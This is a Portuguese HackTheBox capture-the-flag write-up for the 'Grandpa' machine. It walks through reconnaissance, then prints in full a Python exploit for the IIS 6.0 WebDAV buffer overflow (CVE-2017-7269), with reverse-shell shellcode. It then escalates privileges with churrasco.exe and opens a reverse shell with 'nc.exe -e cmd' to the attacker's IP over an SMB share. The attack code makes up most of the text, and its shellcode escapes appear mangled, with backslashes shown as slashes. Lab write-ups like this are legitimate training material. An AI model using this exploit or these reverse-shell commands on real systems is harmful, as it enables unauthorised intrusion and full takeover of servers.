> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/grandpa-hackthebox-writeup.md).

# Relato do HackTheBox Grandpa

{% embed url="<https://app.hackthebox.com/machines/Grandpa>" %}

{% hint style="warning" %}
**Habilidades:**

* Microsoft IIS 6.0 - Overflow remoto de buffer (RCE) no WebDAV 'ScStoragePathFromUrl'
* Sequestro de token - Churrasco (elevação de privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/da771b7ed04d1364c03b49a14969bea592362477" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/691a6f3558cdd490772d144785f1d335d206ae3c" alt="" width="563"><figcaption></figcaption></figure>

**Pesquisar portas abertas com Nmap: 80**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.14 -oG allPortsbash
```

<figure><img src="/files/1f49cb098c5d8ee1c994229497eb253c080c72c8" alt=""><figcaption></figcaption></figure>

**Varredura de versão das portas com Nmap:**

```bash
nmap -sCV -p80 10.10.10.14 -oN targeted
```

<figure><img src="/files/8778001527d5adaa1e1e65708d49ca32a5d9e60d" alt=""><figcaption></figcaption></figure>

Observamos que a página usa **WebDAV** sob **Microsoft-IIS 6.0**.

## Exploração do WebDAV - Microsoft-IIS 6.0

**Teste de upload com Davtest**

Verificamos se conseguimos injetar arquivos maliciosos:

```bash
davtest -url http://10.10.10.14
```

No entanto, cada extensão retorna **falha**, indicando que os uploads são restritos.

<figure><img src="/files/40e50dcaf2f10cc8aef6821cf4c7ff1c1e38d9f0" alt="" width="563"><figcaption></figcaption></figure>

Como confirmamos que o servidor está executando **IIS 6.0**, estamos explorando uma vulnerabilidade de **estouro de buffer** descoberta em 2017.

<figure><img src="/files/a70b7f7ea9d6b36471ef8240bfd75fd4daee2504" alt=""><figcaption></figcaption></figure>

Aqui está um script em Python para explorar essa falha e obter uma shell:

{% embed url="<https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269>" %}

```python
import sys
import struct
import socket  

if len(sys.argv)<5:
    print 'uso:iis6webdav.py targetip targetport reverseip reverseport/n'
    exit(1)
targetip = sys.argv[1]
targetport = int(sys.argv[2])
reverseip = sys.argv[3]
reverseport = int(sys.argv[4])

shellcode='/x55/x8B/xEC/x81/xEC/xDC/x05/x00/x00/x53/x56/x57/x8B/x45/x08/x8B'+/
'/x40/x78/x89/x85/xE4/xFA/xFF/xFF/x8B/x45/x08/x8B/x40/x70/x89/x45'+/
'/xFC/xC7/x85/xC8/xFC/xFF/xFF/x77/x73/x32/x5F/xC7/x85/xCC/xFC/xFF'+/
'/xFF/x33/x32/x2E/x64/xC7/x85/xD0/xFC/xFF/xFF/x6C/x6C/x00/x00/xC7'+/
'/x85/xD8/xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/xDC/xFA/xFF/xFF/x74'+/
'/x61/x72/x74/xC7/x85/xE0/xFA/xFF/xFF/x75/x70/x00/x00/xC7/x85/x58'+/
'/xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/x5C/xFA/xFF/xFF/x6F/x63/x6B'+/
'/x65/xC7/x85/x60/xFA/xFF/xFF/x74/x41/x00/x00/xC7/x85/xE8/xFC/xFF'+/
'/xFF/x57/x53/x41/x43/xC7/x85/xEC/xFC/xFF/xFF/x6F/x6E/x6E/x65/xC7'+/
'/x85/xF0/xFC/xFF/xFF/x63/x74/x00/x00/xC7/x85/xA8/xFA/xFF/xFF/x69'+/
'/x6E/x65/x74/xC7/x85/xAC/xFA/xFF/xFF/x5F/x61/x64/x64/xC7/x85/xB0'+/
'/xFA/xFF/xFF/x72/x00/x00/x00/xC7/x85/x14/xFD/xFF/xFF/x68/x74/x6F'+/
'/x6E/xC7/x85/x18/xFD/xFF/xFF/x73/x00/x00/x00/xC7/x85/xF4/xFC/xFF'+/
'/xFF/x43/x3A/x5C/x57/xC7/x85/xF8/xFC/xFF/xFF/x69/x6E/x64/x6F/xC7'+/
'/x85/xFC/xFC/xFF/xFF/x77/x73/x5C/x73/xC7/x85/x00/xFD/xFF/xFF/x79'+/
'/x73/x74/x65/xC7/x85/x04/xFD/xFF/xFF/x6D/x33/x32/x5C/xC7/x85/x08'+/
'/xFD/xFF/xFF/x63/x6D/x64/x2E/xC7/x85/x0C/xFD/xFF/xFF/x65/x78/x65'+/
'/x00/xC7/x85/x18/xFB/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/x1C/xFB/xFF'+/
'/xFF/x69/x6E/x64/x6F/xC7/x85/x20/xFB/xFF/xFF/x77/x73/x5C/x73/xC7'+/
'/x85/x24/xFB/xFF/xFF/x79/x73/x74/x65/xC7/x85/x28/xFB/xFF/xFF/x6D'+/
'/x33/x32/x5C/xC7/x85/x2C/xFB/xFF/xFF/x63/x61/x6C/x63/xC7/x85/x30'+/
'/xFB/xFF/xFF/x2E/x65/x78/x65/x83/xA5/x34/xFB/xFF/xFF/x00/xC7/x85'+/
'/xE8/xFA/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/xEC/xFA/xFF/xFF/x49/x4E'+/
'/x44/x4F/xC7/x85/xF0/xFA/xFF/xFF/x57/x53/x5C/x49/xC7/x85/xF4/xFA'+/
'/xFF/xFF/x49/x53/x20/x54/xC7/x85/xF8/xFA/xFF/xFF/x65/x6D/x70/x6F'+/
'/xC7/x85/xFC/xFA/xFF/xFF/x72/x61/x72/x79/xC7/x85/x00/xFB/xFF/xFF'+/
'/x20/x43/x6F/x6D/xC7/x85/x04/xFB/xFF/xFF/x70/x72/x65/x73/xC7/x85'+/
'/x08/xFB/xFF/xFF/x73/x65/x64/x20/xC7/x85/x0C/xFB/xFF/xFF/x46/x69'+/
'/x6C/x65/xC7/x85/x10/xFB/xFF/xFF/x73/x5C/x63/x2E/xC7/x85/x14/xFB'+/
'/xFF/xFF/x65/x78/x65/x00/xC7/x85/xD0/xFA/xFF/xFF'+struct.pack('i',reverseport)+/
'/xE9/x3E/x04/x00/x00/x5F/x89/xBD/xB4/xFA/xFF/xFF/xE8/x4C/x04/x00'+/
'/x00/x89/x85/x24/xFA/xFF/xFF/x68/x53/xC0/x49/x9C/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x5D/x04/x00/x00/x59/x59/x89/x85/x28/xFA/xFF/xFF/x68'+/
'/x5A/xC1/xCB/xC2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x45/x04/x00/x00/x59'+/
'/x59/x89/x85/x2C/xFA/xFF/xFF/x68/x1C/xC9/x05/xBA/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x2D/x04/x00/x00/x59/x59/x89/x85/x30/xFA/xFF/xFF/x68'+/
'/x54/x34/x4F/xA2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x15/x04/x00/x00/x59'+/
'/x59/x89/x85/x34/xFA/xFF/xFF/x68/x12/x75/x1D/x45/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/xFD/x03/x00/x00/x59/x59/x89/x85/x38/xFA/xFF/xFF/x68'+/
'/xE9/x65/x73/x1B/xFF/xB5/x24/xFA/xFF/xFF/xE8/xE5/x03/x00/x00/x59'+/
'/x59/x89/x85/x3C/xFA/xFF/xFF/x68/x3A/xFD/xFB/x1E/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/xCD/x03/x00/x00/x59/x59/x89/x85/x40/xFA/xFF/xFF/x68'+/
'/xBD/x50/xD7/x2D/xFF/xB5/x24/xFA/xFF/xFF/xE8/xB5/x03/x00/x00/x59'+/
'/x59/x89/x85/x44/xFA/xFF/xFF/x68/xEF/x60/x08/xE7/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x9D/x03/x00/x00/x59/x59/x89/x85/x48/xFA/xFF/xFF/x68'+/
'/x83/x94/x7B/x10/xFF/xB5/x24/xFA/xFF/xFF/xE8/x85/x03/x00/x00/x59'+/
'/x59/x89/x85/x4C/xFA/xFF/xFF/x68/x49/x17/x55/xC0/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x6D/x03/x00/x00/x59/x59/x89/x85/x50/xFA/xFF/xFF/x68'+/
'/xD9/xE5/x1A/x06/xFF/xB5/x24/xFA/xFF/xFF/xE8/x55/x03/x00/x00/x59'+/
'/x59/x89/x85/x54/xFA/xFF/xFF/x8D/x85/xC8/xFC/xFF/xFF/x50/xFF/x95'+/
'/x28/xFA/xFF/xFF/x89/x85/x1C/xFD/xFF/xFF/x83/xBD/x1C/xFD/xFF/xFF'+/
'/x00/x0F/x84/x39/x01/x00/x00/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D'+/
'/x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4'+/
'/xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x64'+/
'/xFA/xFF/xFF/x00/xEB/xDA/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D/x8B'+/
'/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4/xFA'+/
'/xFF/xFF/x10/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x20/xFD'+/
'/xFF/xFF/x00/xEB/xDA/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA'+/
'/xFF/xFF/x50/x6A/x00/x6A/x00/x6A/x04/x6A/x00/x6A/x00/x6A/x00/x6A'+/
'/x00/x8D/x85/x18/xFB/xFF/xFF/x50/xFF/x95/x34/xFA/xFF/xFF/xFF/xB5'+/
'/x24/xFD/xFF/xFF/xFF/x95/x3C/xFA/xFF/xFF/x68/xE8/x03/x00/x00/xFF'+/
'/x95/x54/xFA/xFF/xFF/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x40/xFA/xFF'+/
'/xFF/xC7/x85/x30/xFD/xFF/xFF/x01/x00/x01/x00/x8D/x85/x30/xFD/xFF'+/
'/xFF/x50/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x44/xFA/xFF/xFF/x6A/x40'+/
'/x68/x00/x10/x00/x00/xFF/x75/xFC/x6A/x00/xFF/xB5/x20/xFD/xFF/xFF'+/
'/xFF/x95/x48/xFA/xFF/xFF/x89/x85/x10/xFD/xFF/xFF/x6A/x00/xFF/x75'+/
'/xFC/xFF/xB5/xE4/xFA/xFF/xFF/xFF/xB5/x10/xFD/xFF/xFF/xFF/xB5/x20'+/
'/xFD/xFF/xFF/xFF/x95/x4C/xFA/xFF/xFF/x8B/x85/x10/xFD/xFF/xFF/x89'+/
'/x85/xE8/xFD/xFF/xFF/xC7/x85/x30/xFD/xFF/xFF/x01/x00/x01/x00/x8D'+/
'/x85/x30/xFD/xFF/xFF/x50/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x50/xFA'+/
'/xFF/xFF/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x3C/xFA/xFF/xFF/xEB/x1E'+/
'/x6A/x00/x8D/x85/xE8/xFA/xFF/xFF/x50/x8D/x85/xF4/xFC/xFF/xFF/x50'+/
'/xFF/x95/x30/xFA/xFF/xFF/x6A/x01/xFF/x95/x38/xFA/xFF/xFF/x68/x70'+/
'/x17/x00/x00/xFF/x95/x54/xFA/xFF/xFF/x8D/x85/xD8/xFA/xFF/xFF/x50'+/
'/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85/xBC/xFA'+/
'/xFF/xFF/x8D/x85/x58/xFA/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF'+/
'/x95/x2C/xFA/xFF/xFF/x89/x85/xC0/xFA/xFF/xFF/x8D/x85/xE8/xFC/xFF'+/
'/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85'+/
'/xC4/xFA/xFF/xFF/x8D/x85/xA8/xFA/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF'+/
'/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85/xC8/xFA/xFF/xFF/x8D/x85/x14'+/
'/xFD/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF'+/
'/x89/x85/xCC/xFA/xFF/xFF/x8D/x85/x38/xFB/xFF/xFF/x50/x68/x02/x02'+/
'/x00/x00/xFF/x95/xBC/xFA/xFF/xFF/x6A/x00/x6A/x00/x6A/x00/x6A/x06'+/
'/x6A/x01/x6A/x02/xFF/x95/xC0/xFA/xFF/xFF/x89/x85/xD4/xFC/xFF/xFF'+/
'/x66/xC7/x85/xD8/xFC/xFF/xFF/x02/x00/xFF/xB5/xD0/xFA/xFF/xFF/xFF'+/
'/x95/xCC/xFA/xFF/xFF/x66/x89/x85/xDA/xFC/xFF/xFF/xFF/xB5/xB4/xFA'+/
'/xFF/xFF/xFF/x95/xC8/xFA/xFF/xFF/x89/x85/xDC/xFC/xFF/xFF/x6A/x00'+/
'/x6A/x00/x6A/x00/x6A/x00/x6A/x10/x8D/x85/xD8/xFC/xFF/xFF/x50/xFF'+/
'/xB5/xD4/xFC/xFF/xFF/xFF/x95/xC4/xFA/xFF/xFF/x83/xA5/xD4/xFA/xFF'+/
'/xFF/x00/xEB/x0D/x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF'+/
'/xFF/x83/xBD/xD4/xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF'+/
'/x80/xA4/x05/x64/xFA/xFF/xFF/x00/xEB/xDA/xC7/x85/x64/xFA/xFF/xFF'+/
'/x44/x00/x00/x00/xC7/x85/x90/xFA/xFF/xFF/x01/x01/x00/x00/x8B/x85'+/
'/xD4/xFC/xFF/xFF/x89/x85/xA4/xFA/xFF/xFF/x8B/x85/xA4/xFA/xFF/xFF'+/
'/x89/x85/xA0/xFA/xFF/xFF/x8B/x85/xA0/xFA/xFF/xFF/x89/x85/x9C/xFA'+/
'/xFF/xFF/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA/xFF/xFF/x50'+/
'/x6A/x00/x6A/x00/x6A/x00/x6A/x01/x6A/x00/x6A/x00/x8D/x85/xE8/xFA'+/
'/xFF/xFF/x50/x6A/x00/xFF/x95/x34/xFA/xFF/xFF/x6A/x01/xFF/x95/x38'+/
'/xFA/xFF/xFF/xE8/xBD/xFB/xFF/xFF'+struct.pack('16s',reverseip)+'/x5F/x5E/x5B/xC9/xC3/x64/xA1/x18'+/
'/x00/x00/x00/x8B/x40/x30/x33/xC9/x8B/x40/x0C/x8B/x40/x1C/x8B/x00'+/
'/x8B/x50/x20/x66/x83/x7A/x10/x2E/x74/x06/x41/x83/xF9/x02/x7C/xEE'+/
'/x8B/x40/x08/xC3/x55/x8B/xEC/x53/x56/x57/x8B/x7D/x08/x83/x65/x08'+/
'/x00/x8B/x47/x3C/x8B/x44/x38/x78/x03/xC7/x8B/x70/x20/x03/xF7/x83'+/
'/x78/x18/x00/x76/x2A/x8B/x0E/x03/xCF/x33/xDB/x8A/x11/x84/xD2/x74'+/
'/x0B/x6B/xDB/x21/x0F/xBE/xD2/x03/xDA/x41/xEB/xEF/x3B/x5D/x0C/x74'+/
'/x15/x83/xC6/x04/xFF/x45/x08/x8B/x4D/x08/x3B/x48/x18/x72/xD6/x33'+/
'/xC0/x5F/x5E/x5B/x5D/xC3/x8B/x48/x24/x8B/x55/x08/x8B/x40/x1C/x8D'+/
'/x0C/x51/x0F/xB7/x0C/x39/x8D/x04/x88/x8B/x04/x38/x03/xC7/xEB/xE1'
shellcodelen = 1744

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((targetip,targetport))
pay='PROPFIND / HTTP/1.1/r/nHost: localhost/r/nContent-Length: %d/r/n'%shellcodelen
pay+='If: <http://localhost/aaaaaaa'
pay+='/xe6/xbd/xa8/xe7/xa1/xa3/xe7/x9d/xa1/xe7/x84/xb3/xe6/xa4/xb6/xe4/x9d/xb2/xe7/xa8/xb9/xe4/xad/xb7/xe4/xbd/xb0/xe7/95/x93/xe7/xa9/x8f/xe4/xa1/x8a/xe5/x99/xa3/xe6/xb5/x94/xe6/xa1/x85/xe3/xa5/x93/xe5/81/xac/xe5/95/xa7/xe6/9d/xa3/xe3/8d/xa4/xe4/x98/xb0/xe7/xa1/x85/xe6/xa5/92/xe5/90/xb1/xe4/xb1/x98/xe6/a9/91/xe7/89/x81/xe4/88/xb1/xe7/80/b5/xe5/a1/x90/xe3/99/xa4/xe6/xb1/87/xe3/94/xb9/xe5/91/xaa/xe5/80/xb4/xe5/91/83/xe7/9d/x92/xe5/81/xa1/xe3/88/xb2/xe6/b5/8b/xe6/b0/xb4/xe3/89/87/xe6/89/x81/xe3/9d/8d/xe5/85/xa1/xe5/a1/xa2/xe4/9d/xb3/xe5/89/x90/xe3/99/xb0/xe7/95/x84/xe6/a1/xaa/xe3/8d/xb4/xe4/b9/8a/xe7/a1/xab/xe4/a5/xb6/xe4/b9/b3/xe4/b1/xaa/xe5/9d/xba/xe6/bd/xb1/xe5/a1/xaa/xe3/88/xb0/xe3/9d/xae/xe4/ad/x89/xe5/89/x8d/xe4/a1/xa3/xe6/bd/x8c/xe7/95/x96/xe7/95/xb5/xe6/99/xaf/xe7/99/xa8/xe4/91/8d/xe5/81/xb0/xe7/a8/xb6/xe6/89/8b/xe6/95/97/xe7/95/x90/xe6/a9/xb2/xe7/a9/xab/xe7/9d/xa2/xe7/99/x98/xe6/89/88/xe6/94/xb1/xe3/81/94/xe6/xb1/xb9/xe5/81/8a/xe5/91/xa2/xe5/80/xb3/xe3/95/xb7/xe6/a9/xb7/xe4/85/84/xe3/8c/xb4/xe6/91/xb6/xe4/b5/86/xe5/99/94/xe4/9d/ac/xe6/95/83/xe7/98/xb2/xe7/89/xb8/xe5/9d/xa9/xe4/8c/xb8/xe6/89/xb2/xe5/a8/xb0/xe5/a4/xb8/xe5/91/x88/xc8/82/xc8/82/xe1/8b/80/xe6/a0/83/xe6/b1/84/xe5/89/96/xe4/ac/b7/xe6/b1/ad/xe4/bd/98/xe5/a1/9a/xe7/a5/90/xe4/a5/aa/xe5/a1/8f/xe4/a9/92/xe4/85/90/xe6/99/8d/xe1/8f/80/xe6/a0/83/xe4/a0/b4/xe6/94/b1/xe6/bd/83/xe6/b9/a6/xe7/91/81/xe4/8d/ac/xe1/8f/80/xe6/a0/83/xe5/8d/83/xe6/a9/81/xe7/81/92/xe3/8c/xb0/xe5/a1/xa6/xe4/89/8c/xe7/81/8b/xe6/8d/86/xe5/85/xb3/xe7/a5/81/xe7/a9/90/xe4/a9/ac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='/xe7/a5/88/xe6/85/xb5/xe4/bd/x83/xe6/bd/a7/xe6/ad/af/xe4/a1/x85/xe3/99/x86/xe6/9d/b5/xe4/90/xb3/xe3/a1/xb1/xe5/9d/xa5/xe5/a9/xa2/xe5/90/xb5/xe5/99/xa1/xe6/a5/92/xe6/a9/93/xe5/85/97/xe3/a1/8e/xe5/a5/88/xe6/8d/95/xe4/a5/xb1/xe4/8d/a4/xe6/91/xb2/xe3/91/a8/xe4/9d/x98/xe7/85/xb9/xe3/8d/xab/xe6/ad/95/xe6/b5/88/xe5/81/8f/xe7/a9/86/xe3/91/xb1/xe6/bd/94/xe7/91/x83/xe5/a5/96/xe6/bd/a7/xe7/8d/81/xe3/91/97/xe6/85/xa8/xe7/a9/xb2/xe3/9d/85/xe4/b5/89/xe5/9d/8e/xe5/91/x88/xe4/b0/xb8/xe3/99/xba/xe3/95/xb2/xe6/89/xa6/xe6/b9/83/xe4/a1/ad/xe3/95/88/xe6/85/xb7/xe4/b5/9a/xe6/85/xb4/xe4/84/xb3/xe4/8d/a5/xe5/89/xb2/xe6/b5/xa9/xe3/99/xb1/xe4/b9/a4/xe6/b8/xb9/xe6/8d/93/xe6/ad/a4/xe5/85/86/xe4/bc/xb0/xe7/a1/af/xe7/89/x93/xe6/9d/90/xe4/95/x93/xe7/a9/a3/xe7/84/xb9/xe4/bd/x93/xe4/91/96/xe6/bc/xb6/xe7/8d/xb9/xe6/a1/xb7/xe7/a9/96/xe6/85/8a/xe3/a5/85/xe3/98/xb9/xe6/b0/xb9/xe4/94/xb1/xe3/91/xb2/xe5/8d/a5/xe5/a1/8a/xe4/91/8e/xe7/a9/84/xe6/b0/b5/xe5/a9/96/xe6/89/81/xe6/b9/b2/xe6/98/xb1/xe5/a5/99/xe5/90/xb3/xe3/85/82/xe5/a1/a5/xe5/a5/81/xe7/85/x90/xe3/80/xb6/xe5/9d/xb7/xe4/91/97/xe5/8d/a1/xe1/8f/80/xe6/a0/83/xe6/b9/8f/xe6/a0/80/xe6/b9/8f/xe6/a0/80/xe4/89/87/xe7/99/xaa/xe1/8f/80/xe6/a0/83/xe4/89/97/xe4/bd/xb4/xe5/a5/87/xe5/88/xb4/xe4/ad/a6/xe4/ad/82/xe7/91/xa4/xe7/a1/af/xe6/82/82/xe6/a0/81/xe5/84/xb5/xe7/89/ba/xe7/91/xba/xe4/b5/87/xe4/91/99/xe5/9d/97/xeb/84/93/xe6/a0/80/xe3/85/xb6/xe6/b9/af/xe2/93/xa3/xe6/a0/81/xe1/91/a0/xe6/a0/83/xcc/80/xe7/xbf/be/xef/bf/bf/xef/bf/bf/xe1/8f/80/xe6/a0/83/xd1/ae/xe6/a0/83/xe7/85/ae/xe7/91/b0/xe1/90/xb4/xe6/a0/83/xe2/a7/a7/xe6/a0/81/xe9/8e/91/xe6/a0/80/xe3/a4/b1/xe6/99/ae/xe4/a5/95/xe3/81/92/xe5/91/ab/xe7/99/ab/xe7/89/8a/xe7/a5/a1/xe1/90/9c/xe6/a0/83/xe6/b8/85/xe6/a0/80/xe7/9c/xb2/xe7/a5/a8/xe4/b5/a9/xe3/99/ac/xe4/91/a8/xe4/b5/b0/xe8/89/86/xe6/a0/80/xe4/a1/xb7/xe3/89/93/xe1/b6/aa/xe6/a0/82/xe6/bd/aa/xe4/8c/b5/xe1/8f/xb8/xe6/a0/83/xe2/a7/a7/xe6/a0/81'
smallsc='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A'
pay+=smallsc
pay+='>/r/n/r/n'
print pay
sock.send(pay)
sock.send(shellcode)
data = sock.recv(80960)  
print data 
sock.close
```

#### Estamos escutando na porta 443:

```bash
rlwrap nc -nvlp 443
```

#### Em seguida, executamos o exploit:

```bash
python2 iis6webdav.py 10.10.10.14 80 10.10.14.32 443
```

<figure><img src="/files/75aeca08781d982f1754325343f298821cdc5e99" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios

### Exploração do kernel - Windows Server 2003 <a href="#windows-server-2003-kernel-exploitation" id="windows-server-2003-kernel-exploitation"></a>

Executando o `systeminfo` comando, descobrimos que o equipamento-alvo está executando **Windows Server 2003**, um sistema operacional obsoleto e vulnerável:

```bash
systeminfo
```

<figure><img src="/files/a339a27e3292bd71d57c610d2bbf89f103252270" alt=""><figcaption></figcaption></figure>

Além disso, temos o privilégio **SeImpersonatePrivilege**, o que nos permite tentar elevar privilégios usando técnicas bem conhecidas.

<figure><img src="/files/3bdc889266a72360ae9fda8608ad6037eafc3368" alt="" width="542"><figcaption></figcaption></figure>

#### Usando churrasco.exe

Para explorar essa falha, usaremos **churrasco.exe**, um exploit para obter privilégios SYSTEM.

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Transferência de arquivos do Windows (SMB)/*/*

> Usamos **smbserver.py** para compartilhar um diretório contendo o arquivo de exploit 40627.exe. Esse arquivo então é copiado para a máquina-alvo.

```bash
smbserver.py share $(pwd) -smb2support
```

Na máquina-alvo, copiamos o arquivo do exploit para o diretório atual:

```bash
copy //10.10.14.32/share/churrasco.exe churrasco.exe
```

<figure><img src="/files/30b14181cdba263182bbbcd88174421c73a68077" alt=""><figcaption></figcaption></figure>

Podemos então executar qualquer comando com esse binário, por exemplo:

```bash
./churrasco.exe "whoami"
```

Se o exploit funcionar corretamente, deveremos ver **NT AUTHORITY/SYSTEM**.

<figure><img src="/files/f1ee78d17e50291bf0cb84512e29de2de797ca4f" alt=""><figcaption></figcaption></figure>

**Estabelecer shell reversa**

Para estabelecer uma shell reversa, escutamos na porta 443:

```bash
rlwrap nc -nvlp 443
```

Criamos novamente um servidor SMB com **nc.exe**

```bash
smbserver.py share $(pwd) -smb2support
```

Por fim, executamos a shell reversa com o seguinte comando:

```bash
./churrasco.exe "//10.10.14.32/share/nc.exe -e cmd 10.10.14.32 443"
```

<figure><img src="https://hacking-notes.jord4n.pro/~gitbook/image?url=https%3A%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252FRaA9kpHORb6mFkNBY8y3%252Fimage.png%3Falt%3Dmedia%26token%3D2630db08-863a-4117-ba41-f4df998ec28d&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=c4b6d470&#x26;sv=2" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="/files/6b410840ed55e303e1bb70692fbb94717c2aa161" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/e4759aeb18ac4fe10283d3dda60d3baa0b8fada5" alt="" width="496"><figcaption></figcaption></figure>

<figure><img src="/files/f09adb8ee8ae3b88afcf2077c540d4cc99f14e15" alt="" width="500"><figcaption></figcaption></figure>


---

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